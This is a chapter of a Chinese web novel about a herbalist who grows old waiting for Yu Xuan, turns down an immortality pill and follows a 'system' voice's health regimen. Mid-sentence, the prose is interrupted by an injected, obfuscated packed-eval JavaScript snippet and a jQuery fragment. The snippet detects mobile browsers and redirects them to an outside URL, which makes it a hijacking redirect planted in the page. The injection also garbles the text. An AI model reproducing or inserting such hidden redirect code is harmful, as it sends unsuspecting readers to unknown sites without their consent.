第四章凡人
于玄走后，我的日子还是要过。
铺子照样开，药材照样收，后山的黄精照样挖。
只是灶房里少了一个人。
以前做饭，总要多抓一把米，多削一个土豆，多切一块肉。现在又回到从前，一把米够吃两顿，一个土豆吃不完，一块肉能炖三天的汤。砂锅还是那个砂锅，可看着锅里咕嘟咕嘟冒泡的汤，总觉得少了点什么。
院子里晾衣绳上那几件素色衣裳，我收了又挂，挂了又收。
头几天收下来，叠好放进柜子里。过几天又拿出来，挂回绳子上。再几天，再收回来。就这么折腾了好几回，最后我站在院子里，看着那几件衣裳发了好一会儿呆。
“沈当归，你有病。”我骂了自己一句，把衣裳叠好，放进了柜子最深处。
柜子里有我爹留下的旧衣裳，有我娘留下的一个木簪子，现在又多了几件洗得发白的素色衣裳。
挺好的。
那瓶筑基丹，我放在床头的木匣子里。
木匣子是爹留下来的，红漆都剥落了，露出底下暗黄色的木头。里头装着几样旧物——我娘留下的一对银镯子，我爹留下的一块怀表，还有几张发黄的药方。现在多了那个白底青花的小瓷瓶。
我隔三差五就把木匣子打开看看。
不是看那瓶丹药，是看那几件旧物。看着看着，就好像能看见爹娘还在的时候。娘坐在院子里择菜，爹在旁边晒药材，我在槐树下跑来跑去。
玉牌我收在贴身的内袋里。
那块玉牌不大，方方正正的，边缘磨得很光滑。上头刻着“于玄”两个字，笔画很深，像是用什么东西刻上去的。玉是青色的，不是那种透亮的青，是温润的青，像深潭里的水。
出门采药的时候，我把它带着。睡觉的时候，搁在枕头底下。
倒不是盼着什么。
就是习惯了。
就好像他还在的时候，我出门采药，他总跟在后面。我睡觉的时候，他就在隔壁那间屋里。
习惯了，就改不了了。
镇上的人偶尔问起我那“表弟”。
“沈掌柜，你那个表弟呢？好久没见着了。”
我说回家去了。
“回哪个家？他不是来投奔你的吗？”
“他家那边的事办完了，回去了。”
他们也就不再多问，最多说一句“那小子怪勤快的，可惜了”，然后继续喝他们的汤。
日子不紧不慢地过着，一年又一年。
春天，后山的黄精发芽了，我去挖。夏天，院子里的马齿苋疯长，我焯水拌着吃。秋天，老槐树的叶子黄了，落了一地，我扫起来堆在墙角。冬天，灶膛里的火烧得旺旺的，我缩在屋里喝热汤。
我二十五了。
隔壁王婶开始给我介绍亲事。
“沈当归，你也老大不小了，该成个家了。”她坐在铺子里，一边喝汤一边说，“东头刘家的闺女，长得水灵，针线活也好，配你正合适。”
我说不用了，铺子忙，顾不上。
“忙什么忙？”王婶把碗往桌上一顿，“你一个人，忙能忙到哪儿去？有个人帮你，不是更好？”
我说再说吧。
王婶撇嘴：“再说再说，再说你就老了。”
我笑了笑，没接话。
我三十了。
王婶又来了几回，介绍了七八个闺女。有东头刘家的，西头李家的，镇外边王庄的，甚至还有一个是县城里来的。
我都推了。
王婶气得直跺脚：“沈当归，你是不是傻？那刘家闺女多好，你偏不要。那李家的更水灵，你也不要。你到底想要什么样的？”
我想了想，说：“没什么想要的，就是觉得一个人也挺好。”
“一个人挺好？”王婶瞪着我，“等老了，病了，谁伺候你？谁给你端茶倒水？”
我说我自己伺候自己，自己端茶倒水。
王婶气得说不出话，扭头就走了。
后来她来的次数少了，偶尔来喝汤，也不再提亲事。只是有时候看着我，叹口气，说一句：“你啊，心里头有人。”
我没接话。
心里头有没有人，我自己也不知道。
有时候晚上睡不着，我会去院子里坐一会儿。
月亮好的时候，院子里亮堂堂的。老槐树的影子铺了一地，风吹过，影子就晃啊晃的，像活了一样。石桌还在那个位置，石凳也还在。井台我修好了，用的新砖，比原来还结实。
我坐在石凳上，靠着石桌，抬头看月亮。
月亮又大又圆，挂在天上，清清冷冷的。月光落在院子里，把一切都染成银白色。
我好像还能看见一个瘦瘦高高的影子。
他蹲在我旁边，指着筐里的菜问：“这是什么？”我说马齿苋。他又指着另一棵问：“这个呢？”我说那是杂草。他抬起头看我，嘴角动了动，像是想笑。
那是我头一回在他脸上看到近乎笑的表情。
他叫于玄。
我把手伸进怀里，摸了摸那块玉牌。
玉牌还是温温的，贴着心口放着，带着我的体温。
“你在哪儿呢？”我对着月亮问。
月亮不说话。
只是把清辉洒下来，落在我身上，落在老槐树上，落在这个空空荡荡的院子里。
我三十五了。
鬓角开始有白头发了。
头一回发现的时候，我正在灶房里对着水缸照。水缸里的水晃啊晃的，映出我的脸。我看见鬓角有几根白的，在乌黑的头发里格外显眼。
我愣了一下，凑近了仔细看。
确实是白的。
不是一根两根，是一小片。
我直起腰，在水缸边上站了好一会儿。
三十五了，是该有白头发了。我爹三十五的时候，白头发比我还多呢。
可心里还是有点不是滋味。
手也粗了。
常年择药、晒药、熬汤，指腹上全是老茧。那些茧子硬硬的，按下去都不觉得疼。手背上青筋凸起，皱纹也多了几道，像老树的树皮。
我摊开手掌，就着灶房里的油灯看了一会儿。
这双手，这十五年，干了多少活？熬了多少锅汤？洗了多少个碗？挖了多少棵药？
数不清了。
那瓶筑基丹，我拿出来看过几回。
有一回是三十岁那年。那天是我生日，一个人喝了点酒，晕晕乎乎的，就把木匣子翻出来了。我拿着那个小瓷瓶，拔开塞子，凑到鼻子底下闻了闻。
那股香味还在，淡淡的，清清冷冷的，像深山里的雪。
我想了想，把塞子塞回去，放回了木匣子里。
不是不想知道修仙是什么滋味。
我也想活得更久一点，看看更大的世界。我也想飞在天上，像那些仙人一样，想去哪儿就去哪儿。
可是……
万一他哪天真的回来，找不着我怎么办？
我要是吃了这丹药，就成了修仙的人了。修仙的人要去修仙的地方，不能老待在这个小镇上。我要是走了，他回来的时候，这间铺子还在吗？这棵老槐树还在吗？还有人给他炖雪梨汤吗？
这念头蠢得很，我自己也知道。
他去了十五年，一点消息都没有。说不定早就不记得这个小镇，不记得这间铺子，不记得那个只会炖汤的沈当归了。
说不定他早就……
我不敢往下想。
可就是放不下。
三十五岁那年开春，我染了场风寒。
起初只是有点咳嗽，没当回事。后来咳得越来越厉害，夜里发起烧来，烧得迷迷糊糊的。
我缩在床上，盖着两床被子，还是冷得直哆嗦。身上烫得像火炭，可骨子里却像塞了冰块，从里往外冒着寒气。牙齿在打颤，咯咯咯地响，停都停不下来。
我挣扎着起来，想去灶房烧点热水。可刚坐起来，眼前一黑，又栽回床上。
就这么烧了三天三夜。
迷迷糊糊的，总做梦。
梦见于玄回来了。
他就站在床前，还是十五年前的模样，瘦瘦高高的，穿着那身洗得发白的旧衣裳。他看着我，眼睛里亮亮的，像是有什么话要说。
我想伸手拉他。
手一抬，就醒了。
窗外头黑漆漆的，只有风吹着老槐树的叶子哗哗地响。屋里也黑，油灯早灭了，只剩一点月光从窗户纸里透进来，在地上铺了一小块白。
我躺在床上，大口大口喘气。
身上湿透了，汗把被子都浸得潮潮的。
我伸手摸了摸枕头底下。
玉牌还在。
凉凉的，硬硬的，贴着我的掌心。
我攥着那块玉牌，又昏昏沉沉地睡过去。
这回没做梦。
病好之后，我瘦了一大圈。
站在水缸边照了照，颧骨都凸出来了，眼窝也陷下去了，活像十五年前刚把于玄背回来那会儿的自己。
我咧嘴笑了笑，那笑容也干巴巴的，不怎么好看。
回到屋里，我把那个木匣子又翻出来。
打开，拿出那个小瓷瓶。
瓶子上落了薄薄一层灰。
我用袖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357912|199708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦了擦，擦得干干净净的，在手里转着看了看。
然后我拔开塞子，把那颗丹药倒出来。
丹药是淡金色的，有龙眼那么大，圆滚滚的，在掌心里泛着一层柔和的光。那股香味更浓了，清清冷冷的，吸进鼻子里，整个人都精神了几分。
我盯着那颗丹药看了很久。
只要吃了它，我就能活得更久。十年，二十年，五十年，一百年。
说不定还能见到他。
我张开嘴。
那颗丹药就在嘴边，近得能闻到它散发出的丝丝凉意。
然后我又把嘴闭上了。
我把丹药放回瓶子里，塞好塞子，放回木匣子里。
关上木匣子，放回柜子里。
算了。
做人挺好，做凡人挺好。
生老病死，本来就是人该走的路。
我爹走了，我娘走了，以后我也会走。就像老槐树春天发芽，秋天落叶，一年又一年，一代又一代。
这就是人的命。
我走出屋子，站在院子里。
天很蓝，太阳很好。老槐树的叶子嫩绿嫩绿的，在风里轻轻摇着。井台上新砖的颜色已经旧了，和周围的青砖混成一片。
我深深吸了口气。
空气里有泥土的气息，有药材的香味，有灶房里飘出来的汤的香气。
这样的日子，挺好。
【叮——检测到宿主放弃服用筑基丹，是否查询凡人养生方案？】
我愣了一下。
凡人养生方案？
【凡人养生方案：针对未修炼的普通人类，提供饮食调理、作息规律、常见疾病预防等建议，可最大限度延长寿命、提升生活质量。】
我忍不住笑了。
“你还管这个？”
【系统宗旨：为宿主提供全方位生活辅助。无论宿主选择何种人生道路，系统都将尽力协助。】
我想了想，说：“行，给我说说，怎么养生？”
【正在生成凡人养生方案……】
【方案生成完成。】
【每日建议：】
【辰时：早餐宜清淡，可食用粥类、蛋类。】
【巳时：适宜户外活动，晒晒太阳，活动筋骨。】
【午时：午餐宜饱，荤素搭配。】
【未时：午休片刻，不超过半个时辰。】
【申时：适宜处理事务，如看铺子、收药材。】
【酉时：晚餐宜少，以易消化为佳。】
【戌时：不宜剧烈活动，可散步、读书。】
【亥时：准备就寝，不宜熬夜。】
我听着，点点头。
这倒是简单。
【此外，建议宿主每年进行一次全面体检，可及时发现潜在问题。】
“体检？怎么体检？”
【系统可提供基础体检功能。宿主只需按照系统指示进行操作，系统将根据脉象、舌苔等判断身体状况。】
“这倒不错。”
【另外，建议宿主保持心情愉悦。长期忧思过度，会影响身体健康。】
我愣了一下。
“你怎么知道我忧思过度？”
【系统检测到宿主近十五年情绪波动频繁，多与思念某人有关。】
我没说话。
过了好一会儿，我才说：“你们这东西，管得真宽。”
【系统宗旨：为宿主提供全方位生活辅助。包括身体健康，也包括心理健康。】
我笑了笑。
“行，我知道了。”
那天之后，我开始按系统说的做。
按时吃饭，按时睡觉，每天晒晒太阳，活动活动筋骨。偶尔去后山走走，但不再像以前那样拼命。采药够用就行，不必把整座山都搬空。
王婶来喝汤，说我气色好多了。
我说是吧，养生呢。
“养生？”王婶笑我，“你才多大，养什么生？”
我说三十五了，不小了。
王婶看着我，忽然叹了口气：“你啊，也该想开点了。有些人，有些事，过去了就过去了，别老搁在心里。”
我知道她说的什么意思。
我笑了笑，没接话。
晚上，我又去院子里坐了一会儿。
月亮还是那个月亮，老槐树还是那棵老槐树。
我摸了摸怀里的玉牌。
“于玄，”我对着月亮说，“你要是能听见，就好好活着。别像我似的，把身子骨熬坏了。”
月亮不说话。风吹过来，老槐树的叶子哗哗地响。我站起来，拍了拍衣裳，回屋睡觉去了。